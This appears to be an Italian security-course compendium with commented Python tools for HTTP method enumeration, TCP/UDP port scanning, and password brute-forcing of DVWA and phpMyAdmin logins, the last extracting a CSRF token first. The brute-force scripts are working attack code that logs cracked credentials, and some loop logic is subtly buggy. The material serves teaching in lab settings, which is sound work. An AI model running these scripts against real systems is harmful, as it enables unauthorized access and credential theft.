



**SECURE  
SENTINELS**

**THETA  
PROJECT  
COMPENDIUM**

**2024**

[www.securesentinels.com](http://www.securesentinels.com)

# INDICE

## CONTROLLI DI SICUREZZA

1. ENUMERAZIONE HTTP
2. SCANNING DELLE PORTE
3. BRUTE FORCE ATTACK
  - a. Damn Vulnerable Web Application (DVWA)
  - b. phpMyAdmin

## BONUS

1. SQL INJECTION
2. STEGANOGRAFIA E LINGUAGGI ESOTERICI

# ENUMERAZIONE HTTP VERBS

## Importazione delle librerie

- `http.client`: per creare connessioni HTTP e inviare richieste.
- `logging`: per registrare gli eventi e i messaggi di errore.
- `sys`: per accedere agli argomenti passati da riga di comando.

## Configurazione del logging

- Funzione `setup_logging()`.
- Crea un file di log chiamato `http_status.log`.
- Imposta il livello di logging su `INFO`.
- Ogni messaggio di log include data e ora, livello di gravità e messaggio.
- Registra un messaggio di avvenuta creazione del file.

```
import http.client # Importa la libreria per le connessioni HTTP
import logging # Importa la libreria per il logging degli eventi
import sys # Importa la libreria per gestire gli argomenti da riga di comando

def setup_logging():
    """
    Configura il sistema di logging.

    Crea un file di log "http_status.log" per memorizzare i log.
    """

    log_filename = "http_status.log" # Nome del file di log
    logging.basicConfig(
        filename=log_filename, # Configura il file di log
        level=logging.INFO, # Imposta il livello di logging su INFO
        format="%(asctime)s - %(levelname)s - %(message)s",
    ) # Definisce il formato del log
    logging.info(
        "\n\nStarting new session\nLog file created"
    ) # Registra un messaggio di avvenuta creazione del file
```

## Scansione dei metodi HTTP

- Funzione `scan_http_methods(target_ip, port=80, path="/")`.
- Accetta indirizzo IP, numero di porta e percorso come parametri.
- Definisce una lista di metodi HTTP da testare.
- Crea un dizionario per memorizzare i risultati della scansione.
- Per ogni metodo HTTP:
  - Crea una connessione al server e invia una richiesta.
  - Ottiene lo stato della risposta (status).
  - Classifica il metodo come Enabled, Active with redirection o Disabled in base allo stato della risposta.
  - Registra i risultati nel dizionario e nel file di log.
  - Gestisce eventuali eccezioni registrando gli errori nel dizionario e nel file di log.

```
def scan_http_methods(target_ip, port=80, path="/"):
    """
    Scansiona i metodi HTTP supportati dal server target.

    Parameters:
        target_ip (str): L'indirizzo IP del server target.
        port (int): Il numero di porta per connettersi (predefinito è 80).
        path (str): Il percorso da richiedere sul server (predefinito è '/').

    Returns:
        dict: Un dizionario con i metodi HTTP come chiavi e il loro stato come valori.
    """
    methods = [
        "OPTIONS", "GET", "HEAD", "POST", "PUT", "DELETE", "TRACE", "CONNECT", "PATCH",
    ] # Metodi HTTP da testare
    results = {} # Dizionario per memorizzare i risultati della scansione

    for method in methods: # Itera sui metodi HTTP
        try:
            connection = http.client.HTTPConnection(target_ip, port) # Crea una connessione HTTP
            connection.request(method, path) # Invia la richiesta HTTP con il metodo corrente
            response = connection.getresponse() # Ottiene la risposta dal server
            status = response.status # Ottiene lo stato della risposta

            if (200 <= status <= 299): # Se lo stato è tra 200 e 299, il metodo è abilitato
                results[method] = "Enabled"
            elif (300 <= status <= 399): # Se lo stato è tra 300 e 399, il metodo è attivo con reindirizzamento
                results[method] = "Active with redirection"
            elif (status >= 400): # Se lo stato è uguale o superiore a 400, il metodo è disabilitato
                results[method] = "Disabled"

            connection.close()
            logging.info(
                f"Metodo {method} all'indirizzo {target_ip}:{port}{path} - {results[method]}"
            ) # Registra il risultato nel file di log
        except Exception as e: # Gestisce le eccezioni
            results[method] = (
                f"Error: {str(e)}" # Registra l'errore nel dizionario dei risultati
            )
            logging.error(
                f"Metodo {method} all'indirizzo {target_ip}:{port}{path} - {results[method]}"
            ) # Registra il risultato nel file di log
    return results
```

## Funzione principale

- Estraе indirizzo IP, numero di porta e percorso dai parametri passati da riga di comando.
- Esegue la scansione chiamando `scan_http_methods()`.
- Stampa e registra i risultati della scansione.

```
def main():
    """
    Funzione principale per gestire l'input dell'utente ed eseguire la scansione dei metodi HTTP.
    """
    setup_logging() # Configura il logging

    if len(sys.argv) < 2: # Verifica se il numero di argomenti è sufficiente
        print(
            "Usage: python http_status_plus.py <target_ip> [port] [path]"
        ) # Stampa il messaggio di utilizzo
        print(
            "Example: python http_status_plus.py 192.168.1.1 80 /"
        ) # Fornisce un esempio di utilizzo
        logging.error("Invalid arguments provided") # Registra un errore
        sys.exit(1) # Termina il programma con un codice di errore
    target_ip = sys.argv[1] # Ottiene l'IP target da riga di comando

    port = (
        int(sys.argv[2]) if len(sys.argv) > 2 else 80
    ) # Ottiene il numero di porta da riga di comando, default a 80
    path = (
        sys.argv[3] if len(sys.argv) > 3 else "/"
    ) # Ottiene il percorso, default a "/"
    print(
        f"Scanning HTTP methods on {target_ip}:{port}{path}"
    ) # Stampa messaggio inizio scansione
    logging.info(f"Starting scan on {target_ip}:{port}{path}")
    results = scan_http_methods(target_ip, port, path) # Esegue la scansione
    logging.info("Scan completed") # Registra la fine della scansione

    print("\nHTTP methods status:") # Stampa l'intestazione dei risultati
    for method, status in results.items(): # Itera sui risultati
        print(f"{method}: {status}") # Stampa ogni metodo e il suo stato
        logging.info(f"{method}: {status}") # Registra ogni metodo/stato nel log

if __name__ == "__main__": # Verifica se lo script è eseguito direttamente
    main() # Chiama la funzione principale
```

# SCANNING DELLE PORTE

## Importazione delle librerie

- `logging`: Per registrare eventi e messaggi di errore.
- `socket`: Per creare connessioni di rete e ottenere informazioni sui servizi.
- `sys`: Per gestire gli argomenti della riga di comando.
- `datetime`: Per ottenere il timestamp per i log (anche se non utilizzato esplicitamente nel codice).

## Funzione `is_valid_ip(ip)`

- Controlla se l'indirizzo IP fornito è valido utilizzando `socket.inet_aton`.
- Restituisce `True` se l'indirizzo è valido, altrimenti `False`.

## Funzione `setup_logging()`

- Configura il sistema di logging.
- Crea un file di log chiamato `port_scan.log`.
- Imposta il livello di logging su `INFO`.
- Registra l'inizio della sessione di scansione e la creazione del file di log.

```
1 import logging
2 import socket
3 import sys
4 from datetime import datetime
5
6
7 def is_valid_ip(ip):
8     try:
9         socket.inet_aton(ip)
10        return True
11    except socket.error:
12        return False
13
14
15 def setup_logging():
16     log_filename = "port_scan.log"
17     logging.basicConfig(
18         filename=log_filename,
19         level=logging.INFO,
20         format="%(asctime)s - %(levelname)s - %(message)s",
21     )
22     logging.info("Starting session")
23     logging.info("Log file created")
```

### **Funzione `get_service_name(port, protocol)`**

- Ottiene il nome del servizio per una determinata porta e protocollo utilizzando `socket.getservbyport`.
- Restituisce "Unknown" se il servizio non è riconosciuto.

### **Funzioni `port_scan_tcp` e `port_scan_udp`**

- Esegue la scansione delle porte TCP su un host specificato.
  - Itera attraverso un intervallo di porte (da `start_port` a `end_port`).
  - Tenta di stabilire una connessione TCP a ciascuna porta.
  - Se la porta è aperta (`result == 0`), registra e stampa il risultato.
  - Restituisce una lista delle porte aperte con i relativi nomi dei servizi.
- Esegue la scansione delle porte UDP su un host specificato.
  - Itera attraverso un intervallo di porte (da `start_port` a `end_port`).
  - Tenta di inviare un pacchetto UDP a ciascuna porta e attende una risposta.
  - Se si verifica un timeout, la porta è considerata "OPEN or FILTERED".
  - Restituisce una lista delle porte aperte con i relativi nomi dei servizi.

```
def get_service_name(port, protocol):
    """
    Ottieni il nome del servizio per un determinato porto e protocollo.

    Parameters:
    port (int): Il numero di porto.
    protocol (str): Il protocollo ('tcp' o 'udp').

    Returns:
    str: Il nome del servizio.
    """
    try:
        service_name = socket.getservbyport(port, protocol)
    except OSError:
        service_name = "Unknown"
    return service_name


def port_scan_tcp(target_ip, start_port, end_port, timeout):
    logging.info(
        f"Scanning TCP ports on host: {target_ip} from port {start_port} to {end_port}"
    )
    open_ports = []
    for port in range(start_port, end_port + 1):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            sock.settimeout(timeout)
            try:
                result = sock.connect_ex((target_ip, port))
                if result == 0:
                    service_name = get_service_name(port, "tcp")
                    print(f"TCP Port {port} ({service_name}): OPEN")
                    logging.info(f"TCP Port {port} ({service_name}): OPEN")
                    open_ports.append((port, service_name))
            except socket.error as e:
                logging.error(f"Error scanning TCP port {port}: {e}")
    return open_ports


def port_scan_udp(target_ip, start_port, end_port, timeout):
    logging.info(
        f"Scanning UDP ports on host: {target_ip} from port {start_port} to {end_port}"
    )
    open_ports = []
    for port in range(start_port, end_port + 1):
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
            sock.settimeout(timeout)
            try:
                sock.sendto(b"", (target_ip, port))
                sock.recvfrom(1024)
            except socket.timeout:
                service_name = get_service_name(port, "udp")
                print(f"UDP Port {port} ({service_name}): OPEN or FILTERED")
                logging.info(f"UDP Port {port} ({service_name}): OPEN or FILTERED")
                open_ports.append((port, service_name))
            except socket.error as e:
                logging.error(f"Error scanning UDP port {port}: {e}")
    return open_ports
```

## Funzione main()

- Configura il logging chiamando setup\_logging().
- Verifica se il numero di argomenti passati da riga di comando è corretto.
- Estrae l'indirizzo IP, l'intervallo delle porte e il timeout dagli argomenti della riga di comando.
- Controlla se l'indirizzo IP è valido.
- Controlla se l'intervallo delle porte è valido.
- Avvia la scansione delle porte TCP e UDP chiamando port\_scan\_tcp() e port\_scan\_udp().

```
def main():
    setup_logging()

    if len(sys.argv) != 4:
        print("Usage: python script.py <target_ip> <port_range> <timeout>")
        print("Example: python script.py 192.168.1.1 20-80 1.0")
        logging.error("Invalid arguments provided")
        sys.exit(1)

    target_ip = sys.argv[1]
    port_range = sys.argv[2]
    try:
        timeout = float(sys.argv[3])
    except ValueError:
        print("Invalid timeout value. Please provide a valid number.")
        logging.error("Invalid timeout value")
        sys.exit(1)

    if not is_valid_ip(target_ip):
        print("Invalid IP address. Please provide a valid IP address.")
        logging.error(f"Invalid IP address: {target_ip}")
        sys.exit(1)

    try:
        start_port, end_port = map(int, port_range.split("-"))
        if start_port < 1 or end_port > 65535 or start_port > end_port:
            raise ValueError
    except ValueError:
        print("Invalid port range. Please provide a valid range (e.g., 20-80).")
        logging.error(f"Invalid port range: {port_range}")
        sys.exit(1)

    logging.info("Starting port scan")
    open_tcp_ports = port_scan_tcp(target_ip, start_port, end_port, timeout)
    open_udp_ports = port_scan_udp(target_ip, start_port, end_port, timeout)
    logging.info("Port scan completed\n\n")

    if not open_tcp_ports and not open_udp_ports:
        print("\nNo open ports found.")
        logging.info("No open ports found.\n\n")

if __name__ == "__main__":
    main()
```

# BRUTE FORCE DVWA

## Importazione delle librerie

- time: Per misurare il tempo impiegato per eseguire le operazioni.
- requests: Per inviare richieste HTTP.

## Funzione `read_file(filename)`

- Legge un file e restituisce una lista di linee senza caratteri di newline.
- Utilizza `errors="ignore"` per ignorare eventuali errori di codifica del file.

## Funzione `brute_force_login(session, url, user_list, pwd_list, find_all)`

- Tenta il brute force login su un URL specificato.
- Accetta una sessione HTTP, un URL, liste di username e password, e un flag `find_all` per indicare se trovare tutte le combinazioni valide o fermarsi alla prima.
- Itera su tutte le combinazioni di username e password, inviando richieste POST.
- Controlla se il login è riuscito in base alla risposta del server.
- Restituisce una lista di credenziali valide trovate.

```
import time
import requests

# Funzione per leggere un file e restituire una lista di linee (senza newline)
def read_file(filename):
    with open(filename, "r", errors="ignore") as file:
        return [line.strip() for line in file.readlines()]

# Funzione per tentare il brute force login
def brute_force_login(session, url, user_list, pwd_list, find_all):
    valid_credentials = [] # Lista per memorizzare le credenziali valide trovate
    for user in user_list:
        for pwd in pwd_list:
            print(f"Tentativo con: {user} - {pwd}")
            data = {"username": user, "password": pwd, "Login": "Login"} # Dati di login
            response = session.post(url, data) # Invio della richiesta POST
            if "Login failed" not in response.text: # Se il login è riuscito
                print("\n[SUCCESSO] Login effettuato con l'account: {user} - {pwd}\n")
                valid_credentials.append((user, pwd)) # Aggiungi le credenziali valide alla lista
                if not find_all: # Se non si devono trovare tutte le combinazioni
                    return valid_credentials
    if not valid_credentials: # Se nessuna credenziale valida è stata trovata
        print("\n[ERRORE] Nessuna combinazione valida trovata.\n")
    return valid_credentials
```

## **Funzione set\_security\_level(session, url, level)**

- Imposta il livello di sicurezza su un URL specificato.
- Accetta una sessione HTTP, un URL e il livello di sicurezza desiderato.
- Invia una richiesta POST per cambiare il livello di sicurezza.
- Stampa un messaggio di successo o errore in base alla risposta del server.

## **Funzione brute\_force\_vulnerabilities(session, url, user\_list, pwd\_list, find\_all)**

- Tenta il brute force su un URL vulnerabile.
- Simile alla funzione brute\_force\_login, ma utilizza richieste GET invece di POST.
- Restituisce una lista di credenziali valide trovate.

## **Funzione log\_credentials(log\_file, level, credentials, elapsed\_time)**

- Registra le credenziali valide trovate e il tempo impiegato in un file di log.
- Accetta il nome del file di log, il livello di sicurezza, le credenziali trovate e il tempo impiegato.
- Apre il file di log in modalità append e scrive le informazioni.

```
# Funzione per impostare il livello di sicurezza
def set_security_level(session, url, level):
    data = {"security": level, "selev_submit": "Submit"} # Dati per impostare il livello di sicurezza
    response = session.post(url, data) # Invio della richiesta POST
    if response.status_code == 200: # Se la richiesta è andata a buon fine
        print(f"\n[SUCCESSO] Livello di sicurezza impostato su: {level}\n")
    else:
        print("\n[ERRORE] Cambio del livello di sicurezza non effettuato.\n")


# Funzione per tentare il brute force sulle vulnerabilità
def brute_force_vulnerabilities(session, url, user_list, pwd_list, find_all):
    valid_credentials = [] # Lista per memorizzare le credenziali valide trovate
    for user in user_list:
        for pwd in pwd_list:
            print(f"Tentativo con: {user} - {pwd}")
            response = session.get(
                f"{url}?username={user}&password={pwd}&Login=Login"
            ) # Invio della richiesta GET
            if ("Username and/or password incorrect." not in response.text): # Se il login è riuscito
                print(f"\n[SUCCESSO] Login effettuato con l'account: {user} - {pwd}\n")
                valid_credentials.append((user, pwd)) # Aggiungi le credenziali valide alla lista
                if not find_all: # Se non si devono trovare tutte le combinazioni
                    return valid_credentials
    if not valid_credentials: # Se nessuna credenziale valida è stata trovata
        print("\n[ERRORE] Nessuna combinazione valida trovata.\n")
    return valid_credentials


# Funzione per registrare le credenziali valide trovate e il tempo impiegato in un file di log
def log_credentials(log_file, level, credentials, elapsed_time):
    with open(log_file, "a") as file:
        file.write(f"\nLivello di sicurezza: {level}\n")
        file.write(f"Tempo impiegato: {elapsed_time:.2f} secondi\n")
        for user, pwd in credentials:
            file.write(f"Username: {user}, Password: {pwd}\n")
```

## **Funzione main()**

- Funzione principale del programma.
- Legge le liste di username e password dai file usernames.txt e passwords.txt.
- Richiede all'utente l'indirizzo IP dell'host target.
- Costruisce l'URL di login e chiede all'utente se desidera trovare tutte le combinazioni valide o fermarsi alla prima.
- Avvia una sessione HTTP e misura il tempo per il brute force login.
- Registra le credenziali valide trovate e il tempo impiegato nel file di log.
- Se nessuna credenziale valida è trovata, il programma termina.
- Se il login ha successo, imposta diversi livelli di sicurezza e tenta il brute force sulle vulnerabilità per ogni livello.
- Registra le credenziali valide trovate e il tempo impiegato nel file di log per ogni livello di sicurezza.
- Stampa un messaggio finale indicando che le informazioni dell'attacco sono state registrate nel file di log.

```
# Funzione principale
def main():
    # Lettura delle liste di utenti e password dai file
    user_list = read_file("usernames.txt")
    pwd_list = read_file("passwords.txt")
    log_file = "attacco_log_dvwa.txt" # Nome del file di log

    # Richiesta all'utente dell'indirizzo IP e del percorso
    host = input("Inserisci l'indirizzo IP: ")
    url_login = f"http://[{host}]/dvwa/login.php"

    # Chiede all'utente se desidera trovare tutte le combinazioni valide o fermarsi alla prima trovata
    find_all = (input("Vuoi trovare tutte le combinazioni valide? (s/n): ").lower() == "s")

    print("\nInizio di brute force all'URL di login:", url_login)
    session = requests.Session() # Creazione di una sessione

    # Inizio misurazione del tempo
    start_time = time.time()
    # Tentativo di brute force login
    valid_login_credentials = brute_force_login(session, url_login, user_list, pwd_list, find_all)
    # Fine misurazione del tempo
    elapsed_time = time.time() - start_time

    # Registrazione delle credenziali valide e del tempo impiegato nel file di log
    log_credentials(log_file, "login", valid_login_credentials, elapsed_time)

    if not valid_login_credentials:
        return

    # URL per impostare il livello di sicurezza e per il brute force sulle vulnerabilità
    url_security = f"http://[{host}]/dvwa/security.php"
    url_brute_force = f"http://[{host}]/dvwa/vulnerabilities/brute/"

    # Lista dei livelli di sicurezza
    security_levels = ["low", "medium", "high"]

    for level in security_levels:
        print(f"\nImpostazione del livello di sicurezza su {level}")
        set_security_level(session, url_security, level)

        print(
            f"\nInizio di brute force all'URL delle vulnerabilità per il livello di sicurezza {level}:",
            url_brute_force,
        )

        start_time = time.time()
        # Tentativo di brute force sulle vulnerabilità
        valid_vulnerability_credentials = brute_force_vulnerabilities(
            session, url_brute_force, user_list, pwd_list, find_all
        )
        elapsed_time = time.time() - start_time

        # Registrazione delle credenziali valide e del tempo impiegato nel file di log
        log_credentials(log_file, level, valid_vulnerability_credentials, elapsed_time)

    print(f"\nLe informazioni dell'attacco sono state registrate nel file {log_file}")

if __name__ == "__main__":
    main()
```

# BRUTE FORCE phpMyAdmin

## Importazione delle librerie

- time: Per misurare il tempo impiegato per eseguire le operazioni.
- requests: Per inviare richieste HTTP.
- BeautifulSoup da bs4: Per analizzare e manipolare i documenti HTML, utilizzato per estrarre il token CSRF dalla risposta.

## Funzione `read_file(filename)`

- Legge un file e restituisce una lista di linee senza caratteri di newline.
- Utilizza errors="ignore" per ignorare eventuali errori di codifica del file.

## Funzione `brute_force_login(session, url, user_list, pwd_list, token, find_all)`

- Tenta il brute force login su un'istanza di phpMyAdmin.
- Accetta una sessione HTTP, un URL, liste di username e password, un token CSRF, e un flag `find_all` per indicare se trovare tutte le combinazioni valide o fermarsi alla prima.
- Itera su tutte le combinazioni di username e password, inviando richieste POST.
- Controlla se il login è riuscito in base alla risposta del server.
- Restituisce una lista di credenziali valide trovate.

## Funzione `log_credentials(log_file, credentials, elapsed_time)`

- Registra le credenziali valide trovate e il tempo impiegato in un file di log.
- Accetta il nome del file di log, le credenziali trovate e il tempo impiegato.
- Apre il file di log in modalità append e scrive le informazioni.

```
import time

import requests
from bs4 import BeautifulSoup

# Funzione per leggere un file e restituire una lista di linee (senza newline)
def read_file(filename):
    with open(filename, "r", errors="ignore") as file:
        return [line.strip() for line in file.readlines()]

# Funzione per tentare il brute force login su phpMyAdmin
def brute_force_login(session, url, user_list, pwd_list, token, find_all):
    valid_credentials = [] # Lista per memorizzare le credenziali valide trovate
    for user in user_list:
        for pwd in pwd_list:
            print(f"Sto accedendo con username: {user} e password: {pwd}")
            data = {
                "pma_username": user,
                "pma_password": pwd,
                "server": "1",
                "token": token,
            } # Dati di login
            response = session.post(url, data) # Invio della richiesta POST
            if "error" not in response.text.lower(): # Se il login è riuscito
                print(
                    f"\n[SUCCESSO] Accesso effettuato. Username: {user} e Password: {pwd}\n"
                )
                valid_credentials.append(
                    (user, pwd)
                ) # Aggiungi le credenziali valide alla lista
            if not find_all: # Se non si devono trovare tutte le combinazioni
                return valid_credentials
    if not valid_credentials: # Se nessuna credenziale valida è stata trovata
        print("\n[ERRORE] Nessuna combinazione valida trovata.\n")
    return valid_credentials

# Funzione per registrare le credenziali valide trovate e il tempo impiegato in un file di log
def log_credentials(log_file, credentials, elapsed_time):
    with open(log_file, "a") as file:
        file.write(f"\nTempo impiegato: {elapsed_time:.2f} secondi\n")
        for user, pwd in credentials:
            file.write(f"Username: {user}, Password: {pwd}\n")
```

## Funzione main()

- Funzione principale del programma.
- Richiede all'utente l'host dell'istanza di phpMyAdmin.
- Costruisce l'URL di login.
- Crea una sessione HTTP e invia una richiesta GET per ottenere il token CSRF.
- Estrae il token CSRF dalla risposta utilizzando BeautifulSoup.
- Legge le liste di username e password dai file usernames.txt e passwords.txt.
- Chiede all'utente se desidera trovare tutte le combinazioni valide o fermarsi alla prima trovata.
- Avvia la misurazione del tempo per il brute force login.
- Esegue il brute force login su phpMyAdmin e misura il tempo impiegato.
- Registra le credenziali valide trovate e il tempo impiegato nel file di log.
- Stampa un messaggio finale indicando se le informazioni dell'attacco sono state registrate nel file di log o se nessuna credenziale valida è stata trovata.

```
# Funzione principale
def main():
    # Richiesta all'utente dell'host e del percorso
    host = input("Inserisci l'host: ")
    # path = input("Inserisci il path es. /phpMyAdmin/: ")
    url = "http://" + host + "/phpMyAdmin/"
    log_file = "attacco_log.php.txt" # Nome del file di log

    session = requests.Session() # Creazione di una sessione
    response = session.get(url) # Invio della richiesta GET per ottenere il token CSRF
    soup = BeautifulSoup(response.text, "html.parser")
    token = soup.find("input", {"name": "token"})["value"] # Estrazione del token CSRF

    # Lettura delle liste di utenti e password dai file
    user_list = read_file("usernames.txt")
    pwd_list = read_file("passwords.txt")

    # Chiede all'utente se desidera trovare tutte le combinazioni valide o fermarsi alla prima trovata
    find_all = (
        input("Vuoi trovare tutte le combinazioni valide? (s/n): ").lower() == "s"
    )

    print(f"\nInizio di brute force all'URL: {url}")

    # Inizio misurazione del tempo
    start_time = time.time()
    # Tentativo di brute force login su phpMyAdmin
    valid_login_credentials = brute_force_login(
        session, url, user_list, pwd_list, token, find_all
    )
    # Fine misurazione del tempo
    elapsed_time = time.time() - start_time

    # Registrazione delle credenziali valide e del tempo impiegato nel file di log
    log_credentials(log_file, valid_login_credentials, elapsed_time)

    if valid_login_credentials:
        print(
            f"\nLe informazioni dell'attacco sono state registrate nel file {log_file}"
        )
    else:
        print(
            "\nNessuna credenziale valida trovata. Controlla il file di log per i dettagli."
        )

if __name__ == "__main__":
    main()
```